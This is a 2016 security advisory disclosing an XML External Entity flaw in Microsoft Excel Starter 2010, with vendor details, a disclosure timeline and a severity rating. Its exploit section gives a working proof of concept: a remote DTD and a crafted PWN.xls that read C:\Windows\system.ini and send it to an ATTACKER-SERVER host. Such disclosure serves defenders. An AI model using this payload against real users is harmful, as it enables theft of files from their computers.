[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EXCEL-STARTER-XXE-REMOTE-FILE-DISCLOSURE.txt

[+] ISR: ApparitionSec

Vendor:
=================
www.microsoft.com

Product:
============================
Microsoft Excel Starter 2010
EXCELC.EXE  / "OFFICEVIRT.EXE"

This is a bundled Excel "starter" version that comes 'pre-loaded' with some
Windows systems running, this was tested on Windows 7 etc.

"C:\Program Files (x86)\Common Files\microsoft shared\Virtualization
Handler\CVH.EXE" "Microsoft Excel Starter 2010 9014006604090000"
C:\PROGRA~2\COMMON~1\MICROS~1\VIRTUA~1

Reference:
https://support.office.com/en-us/article/Excel-features-that-are-not-fully-supported-in-Excel-Starter-0982b3f1-7bca-49a7-a04b-3c09d05941d4

Microsoft Excel Starter 2010 is a simplified version of Excel that comes
pre-loaded on your computer.
Excel Starter includes features that are basic to creating and working with
spreadsheets, but it does not include the rich set of features found
in the full version of Excel.

Vulnerability Type:
====================
XML External Entity

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

Microsoft Excel Starter OLD versions specifically ".xls" and ".xlthtml"
files are vulnerable to XML External Entity attack. This can allow
remote attackers to access and disclose ANY files from a victims computer
if they open a corrupt ".xls" Excel file. We can also abuse XXE to
make connections to the victims system/LAN and bypass Firewall,IPS etc
(XXE/SSRF).

Note: This has NOT worked in regular or updated patched Excel editions.

When open the victim will get a warn message about it being a "different
format and from trusted source".
If user choose open the file they get error message "File cannot be opened
because: System does not support the specified encoding."
Then files you target get accessed and transfered to remote server.

IF Excel version is "patched" or newer you will see message like "File
cannot be opened because: Reference to undefined entity 'send' etc..."
and XXE will fail.

Tested successfully on several machines HP, TOSHIBA Windows 7 SP1 with
Excel Starter 2010 versions. As some machines may still be running old
pre-loaded Excel version it can be relevant so I release it anyways...

Exploit code(s):
===============

POC to exfiltrate "system.ini" used by MS ADO Remote Data Services.

Listen port 8080 (ATTACKER-SERVER)
python -m SimpleHTTPServer 8080

1) "payload.dtd" ( host on attacker server port 8080 same dir as our python web server )

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-SERVER:8080?%file;'>">
%all;

2) "PWN.xls"  Get vicitm to open it, ANY files belong to you!

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-SERVER:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

Open the "PWN.xls" in Excel Starter 2010 then BOOM! ... its raining files!

Video POC:
https://vimeo.com/181891000

Disclosure Timeline:
=======================================
Vendor Notification: September 4, 2016
MSRC Response: "Out of date Office Client"
December 4, 2016  : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx